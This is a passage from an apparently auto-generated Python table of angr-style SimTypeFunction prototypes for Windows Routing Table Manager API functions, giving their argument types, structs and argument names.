"ProtocolId", "TargetViews", "DestInfo"]), # 'RtmGetMostSpecificDestination': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestAddress", "ProtocolId", "TargetViews", "DestInfo"]), # 'RtmGetLessSpecificDestination': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestHandle", "ProtocolId", "TargetViews", "DestInfo"]), # 'RtmGetExactMatchRoute': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "RouteOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Neighbour": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "State": SimTypeChar(label="Byte"), "Flags1": SimTypeChar(label="Byte"), "Flags": SimTypeShort(signed=False, label="UInt16"), "PrefInfo": SimStruct({"Metric": SimTypeInt(signed=False, label="UInt32"), "Preference": SimTypeInt(signed=False, label="UInt32")}, name="RTM_PREF_INFO", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "NextHopsList": SimStruct({"NumNextHops": SimTypeShort(signed=False, label="UInt16"), "NextHops": SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)}, name="RTM_NEXTHOP_LIST", pack=False, align=None)}, name="RTM_ROUTE_INFO", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestAddress", "MatchingFlags", "RouteInfo", "InterfaceIndex", "TargetViews", "RouteHandle"]), # 'RtmIsBestRoute': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteHandle", "BestInViews"]), # 'RtmAddNextHop': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NextHopInfo", "NextHopHandle", "ChangeFlags"]), # 'RtmFindNextHop': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0), SimTypePointer(SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NextHopInfo", "NextHopHandle", "NextHopPointer"]), # 'RtmDeleteNextHop': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NextHopHandle", "NextHopInfo"]), # 'RtmGetNextHopPointer': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NextHopHandle", "NextHopPointer"]), # 'RtmLockNextHop': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=True, label="Int32"), SimTypePointer(SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NextHopHandle", "Exclusive", "LockNextHop", "NextHopPointer"]), # 'RtmCreateDestEnum': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "TargetViews", "EnumFlags", "NetAddress", "ProtocolId", "RtmEnumHandle"]), # 'RtmGetEnumDests': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EnumHandle", "NumDests", "DestInfos"]), # 'RtmReleaseDests': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NumDests", "DestInfos"]), # 'RtmCreateRouteEnum': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "RouteOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Neighbour": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "State": SimTypeChar(label="Byte"), "Flags1": SimTypeChar(label="Byte"), "Flags": SimTypeShort(signed=False, label="UInt16"), "PrefInfo": SimStruct({"Metric": SimTypeInt(signed=False, label="UInt32"), "Preference": SimTypeInt(signed=False, label="UInt32")}, name="RTM_PREF_INFO", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "NextHopsList": SimStruct({"NumNextHops": SimTypeShort(signed=False, label="UInt16"), "NextHops": SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)}, name="RTM_NEXTHOP_LIST", pack=False, align=None)}, name="RTM_ROUTE_INFO", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestHandle", "TargetViews", "EnumFlags", "StartDest", "MatchingFlags", "CriteriaRoute", "CriteriaInterface", "RtmEnumHandle"]), # 'RtmGetEnumRoutes': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EnumHandle", "NumRoutes", "RouteHandles"]), # 'RtmReleaseRoutes': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NumRoutes", "RouteHandles"]), # 'RtmCreateNextHopEnum': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EnumFlags", "NetAddress", "RtmEnumHandle"]), # 'RtmGetEnumNextHops': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EnumHandle", "NumNextHops", "NextHopHandles"]), # 'RtmReleaseNextHops': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NumNextHops", "NextHopHandles"]), # 'RtmDeleteEnumHandle': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EnumHandle"]), # 'RtmRegisterForChangeNotification': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "TargetViews", "NotifyFlags", "NotifyContext", "NotifyHandle"]), # 'RtmGetChangedDests': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NotifyHandle", "NumDests", "ChangedDests"]), # 'RtmReleaseChangedDests': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NotifyHandle", "NumDests", "ChangedDests"]), # 'RtmIgnoreChangedDests': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NotifyHandle", "NumDests", "ChangedDests"]), # 'RtmGetChangeStatus': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NotifyHandle", "DestHandle", "ChangeStatus"]), # 'RtmMarkDestForChangeNotification': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=True, label="Int32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NotifyHandle", "DestHandle", "MarkDest"]), # 'RtmIsMarkedForChangeNotification': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NotifyHandle", "DestHandle", "DestMarked"]), # 'RtmDeregisterFromChangeNotification': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NotifyHandle"]), # 'RtmCreateRouteList': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteListHandle"]), # 'RtmInsertInRouteList': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteListHandle", "NumRoutes", "RouteHandles"]), # 'RtmCreateRouteListEnum': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteListHandle", "RtmEnumHandle"]), # 'RtmGetListEnumRoutes': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), label="LPArray", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EnumHandle", "NumRoutes", "RouteHandles"]), # 'RtmDeleteRouteList': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteListHandle"]), # 'RtmReferenceHandles': 